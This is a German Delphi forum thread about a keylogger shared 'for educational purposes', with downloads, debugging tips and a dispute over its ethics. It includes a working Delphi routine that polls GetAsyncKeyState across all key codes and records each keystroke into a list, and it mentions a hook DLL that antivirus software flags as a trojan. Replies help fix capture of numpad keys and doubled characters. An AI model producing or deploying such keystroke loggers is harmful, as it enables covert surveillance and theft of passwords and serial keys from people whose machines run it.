KeyLogger

Lesco · Beiträge: 42

der schwierigere code steckt eh in der dll und die kannste auch in ner vcl anwendung benutzen musst halt nur die entsprechende nachricht verarbeiten

F34r0fTh3D4rk · Verfasst: Di 26.04.05 19:31

aber n hook ist dafür ja net dringend notwendig

J.Borchert · Beiträge: 150 WIN10 XE2 Professional

Stand 30.06.2005 : www.luckie-online.de...ramme/LuckieSpy2.zip

:roll:

_________________
Wer immer macht was er schon kann, bleibt immer das, was er schon ist. "H.Ford"

Martin1966 · Beiträge: 1068 Win 2000, Win XP Delphi 7, Delphi 2005

J.Borchert hat folgendes geschrieben:

Stand 30.06.2005 : www.luckie-online.de...ramme/LuckieSpy2.zip

:roll:

was willst du uns damit sagen bzw was hat das mit diesem topic zu tun?

raziel · Verfasst: Do 30.06.05 18:52

Er will damit sagen, dass Luckie seine Seite umstruktiert hat und so der Downloadlink sich geändert hat. Was ja eigentlich nicht schlimm ist, eine Meldung an den Virtuelle Assistenten (Die Melden Buttons sind hier überall zu finden und schwer zu übersehen) hätte auch gereicht, dann bessern wir das gleich im ersten Posting aus (wie schon geschehen).

Gruß,
raziel

_________________
JSXGraph

Marco D. · Verfasst: Mi 14.09.05 15:25 Titel: keyloger

Bei mir kann die Seite nicht gefunden werden zum Download :bawling:

_________________
Pascal keeps your hand tied. C gives you enough rope to hang yourself. C++ gives you enough rope to shoot yourself in the foot

Ehemaliges Mitglied Erhaltene Danke: 1

So, jetzt hängt es als Amhang dran.

vader · Beiträge: 35

hallo F34r0fTh3D4rk

hab deinen alten verstaubten keylogger ausbrobiert, er läuft, aber er zeichnet
keine tastenbefehle vom nummernblock auf ??

mfg vader

masteroffinalfantasy · Beiträge: 82 Win XP Delphi 2005 Architect

warum kommt bei meinem antivir programm eine meldung?

JayK · Beiträge: 1013

weil ein Keylogger normalerweise eine schädliche Software ist, ganz einfach ;-)

in dem fall musst du das halt ignorieren...

Ivo@CoMRoK · Beiträge: 258 Win XP D3 Prof., D7 Pe.

Oder wer nicht mit Hook arbeiten will:
Anhang oder: www.ivo.de.gg (zweckorientierte Seite net schön :wink:

mfg Ivo
//Ach ja: Das Prog speichert die Eingaben inne Textdatei (im Ordner vom Prog) und wenn ihr auf //minimieren geht macht ihrs mit F2 wieder sichtbar

Einloggen, um Attachments anzusehen!

Ehemaliges Mitglied Erhaltene Danke: 1

Keinen Kommentar:

markieren

Delphi-Quelltext

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
117:
118:
119:
120:

procedure TForm1.Timer1Timer(Sender: TObject);
var
  i: byte;
  t: String;
begin
Timer1.Interval := 10;
for i := 0 to 254 do
        if boolean(getasynckeystate(i)) then
          begin
            if i = 1 then t:='MausLinks';
            if i = 2 then t:='MausRechts';
            if i = 4 then t:='MausRad';
            if i = 5 then t:='MausForward';
            if i = 6 then t:='MausBack';
            if i = 8 then t:='Return';
            if i = 9 then t:='Tab';
            if i = 13 then t:='Enter';
            if i = 19 then t:='Pause';
            if i = 20 then t:='Feststell';
            if i = 27 then t:='Esc';
            if i = 32 then t:=' ';
            if i = 33 then t:='BildAuf';
            if i = 34 then t:='BildAb';
            if i = 35 then t:='Ende';
            if i = 36 then t:='Pos1';
            if i = 37 then t:='Links';
            if i = 38 then t:='Oben';
            if i = 39 then t:='Rechts';
            if i = 40 then t:='Unten';
            if i = 44 then t:='Druck';
            if i = 45 then t:='Einfügen';
            if i = 46 then t:='Entfernen';
            if i = 48 then t:='0';
            if i = 49 then t:='1';
            if i = 50 then t:='2';
            if i = 51 then t:='3';
            if i = 52 then t:='4';
            if i = 53 then t:='5';
            if i = 54 then t:='6';
            if i = 55 then t:='7';
            if i = 56 then t:='8';
            if i = 57 then t:='9';
            if i = 65 then t:='A';
            if i = 66 then t:='B';
            if i = 67 then t:='C';
            if i = 68 then t:='D';
            if i = 69 then t:='E';
            if i = 70 then t:='F';
            if i = 71 then t:='G';
            if i = 72 then t:='H';
            if i = 73 then t:='I';
            if i = 74 then t:='J';
            if i = 75 then t:='K';
            if i = 76 then t:='L';
            if i = 77 then t:='M';
            if i = 78 then t:='N';
            if i = 79 then t:='O';
            if i = 80 then t:='P';
            if i = 81 then t:='Q';
            if i = 82 then t:='R';
            if i = 83 then t:='S';
            if i = 84 then t:='T';
            if i = 85 then t:='U';
            if i = 86 then t:='V';
            if i = 87 then t:='W';
            if i = 88 then t:='X';
            if i = 89 then t:='Y';
            if i = 90 then t:='Z';
            if i = 91 then t:='Windows';
            if i = 92 then t:='WindowsRechts';
            if i = 93 then t:='Tasks';
            if i = 97 then t:='Num1';
            if i = 98 then t:='Num2';
            if i = 99 then t:='Num3';
            if i = 100 then t:='Num4';
            if i = 101 then t:='Num5';
            if i = 102 then t:='Num6';
            if i = 103 then t:='Num7';
            if i = 104 then t:='Num8';
            if i = 105 then t:='Num9';
            if i = 106 then t:='Num*';
            if i = 107 then t:='Num+';
            if i = 109 then t:='Num-';
            if i = 110 then t:='Num,';
            if i = 111 then t:='Num/';
            if i = 112 then t:='F1';
            if i = 113 then Form1.Show;
            if i = 114 then t:='F3';
            if i = 115 then t:='F4';
            if i = 116 then t:='F5';
            if i = 117 then t:='F6';
            if i = 118 then t:='F7';
            if i = 119 then t:='F8';
            if i = 120 then t:='F9';
            if i = 121 then t:='F10';
            if i = 122 then t:='F11';
            if i = 123 then t:='F12';
            if i = 144 then t:='Num';
            if i = 145 then t:='Rollen';
            if i = 160 then t:='Schift';
            if i = 162 then t:='STRGLinks';
            if i = 163 then t:='STRGRechts';
            if i = 164 then t:='Alt';
            if i = 165 then t:='AltGroß';
            if i = 187 then t:='+';
            if i = 188 then t:=',';
            if i = 189 then t:='-';
            if i = 190 then t:='.';
            if i = 191 then t:='#';
            if i = 220 then t:='^';
            //Das hier muss so lang sein sonst geht des mim abragen net so gut ;-)
            Edit1.Text := Edit1.Text + t;
          end;
      sleep(10);
if Edit1.getTextLen = 75 then
 begin
  Liste.Add(Edit1.Text);
  Edit1.Text := '';
  Memo1.Text := Liste.Text;
end;

Desweiteren läßt sich das nicht kompilieren, weil die falschen Dateien mitgeliefert werden.

Und warum hat das Fenster keine Titelzeile? Warum hat es keinen Eintrag in der Taskbar? Verliert es einmal den Fokus kommt man nur über Alt+TAB wieder an das Fenster.

Muffin · Beiträge: 99 WinXP Pro SP2 D7 Personal

Ich weiß, dass man Keyboard Hooks auch für gewöhnliche Programme benutzen kann, aber werden solche DLLs nicht von Virenscanner erkannt und als potenziell gefährlich eingestuft?

Karlson · Beiträge: 2088

vader hat folgendes geschrieben:

hallo F34r0fTh3D4rk

hab deinen alten verstaubten keylogger ausbrobiert, er läuft, aber er zeichnet
keine tastenbefehle vom nummernblock auf ??

mfg vader

FearOfTheDark fragt nur bis #90 ab. Die Num-Tasten sind von 97 bis 110.

Einfach die 90 ändern, und's geht...

@Muffin: Du hast ein paar Fehler in deinem Code.

markieren

Delphi-Quelltext

1:
2:
3:
4:
5:
6:

if Edit1.getTextLen = 75 then   
 begin   
  Liste.Add(Edit1.Text);   
  Edit1.Text := '';   
  Memo1.Text := Liste.Text;   
end;

Spätestens hier wirst du ein grosses Problem haben.

Und warum erstreckt sich deine For-Schleife bis 254, obwohl du nur bis 220 abfragst?

Kugelblitz · Beiträge: 34 Win XP, Debian

wenn der Firefox das aktive fenster aktiviert ist kommt sowas dabei raus:

markieren

Quelltext

1:	wwiieesssoo iisstt ddaa aallllleess ddooppppeelltt?

bei anderen fenstern funktioniert alles bestes...

wieso ist da alles doppelt?

_________________
I haven't lost my mind; it's backed up on tape somewhere!

Jakob Schöttl · Beiträge: 929 Erhaltene Danke: 1 Delphi 7 Professional

Aber der AntiVir PE Classic schlägt an!
Und ich check leider überhaupt nicht für was das Programm gut ist!
EDIT: Doch jetzt hab ichs gecheckt.

bitte eine trotzdem kurze erklärung, am besten ganz oben bei der fehlenden Programmbeschreibung.

origin · Verfasst: Mi 25.10.06 20:48 Titel: Keylogger

Hi,
habe mir das Werk mal angesehen und bekam prompt eine Alarmmeldung von
meinem AntiVirenProgramm über einen gefährlichen Trojaner in der kbhook.dll-Datei.
Welchen Nutzen hat so ein Keylogger, wenn jedes Mal eine solche Warnmeldung
erscheint?

jaenicke · Verfasst: Mi 25.10.06 20:57

Wie im ersten Beitrag steht:

Aya hat folgendes geschrieben:

Die Sourcen sollten nur zu Lehrzwecken dienen und wir hoffen, dass die Sourcen nicht für illegale Zwecke mißbraucht werden.

Nun ja, und beim Lernen stört es ja auch nicht, wenn diese Meldung kommt. Schließlich kann man die DLL in diesem Verzeichnis ja als Ausnahme definieren...

Und dass diese Meldung vom Antivirenprogramm kommt ist ja auch sehr gut so, weil dies eine illegale Nutzung des Codes ausschließt. (Naja, und wer kein Antivirenprogramm installiert hat ist selbst schuld...)
Ich meine, sonst könnte man ja sehr einfach einen Trojaner auf diese Weise programmieren und das ist ja nicht Sinn der Sache!

Darnus · Beiträge: 34

Tolle sache echt super evtl zeigste jetzt noch allen wie man richtig einbruch verübt oder jemanden beklaut. Andere leute leiden darunter nur weil son ****** son shit veröffentlicht, andere machen sich jetzt ihr ding daraus ob du gewahrnt hast oder nicht das geht dennen am **** vorbei. Haste toll gemacht jetzt kann man nichtmal mehr online gehen ohne daran zu denken das Serials zb von games usw geklaut werden! Steinigt IHN!!!!!!!!!!! buuuuuuuuuuuuuuuuu Ich downloade den müll erst garnet wer weiss...

Ehemaliges Mitglied Erhaltene Danke: 1

Bitte was? :shock:

OK, ich verrate dir dann auch besser nicht, dass man mit der API-Funktion DeleteFile auch ganz böse Sachen machen kann. Und hast du mal eine Statistik gesehen, wie viele Menchen jährlich mit einem Messer erstochen werden? Und wie viele Messer hat deine Mutter in der Küche? Weißt du wie viele Menschen jährlich im Strassenverkehr zu tode kommen und wie viele Autos es gibt und wie viele neue Autos jährlich verkauft werden? :roll:

	Mitgliederliste
	Gruppen
	Das Team
	Richtlinien
	Synonyme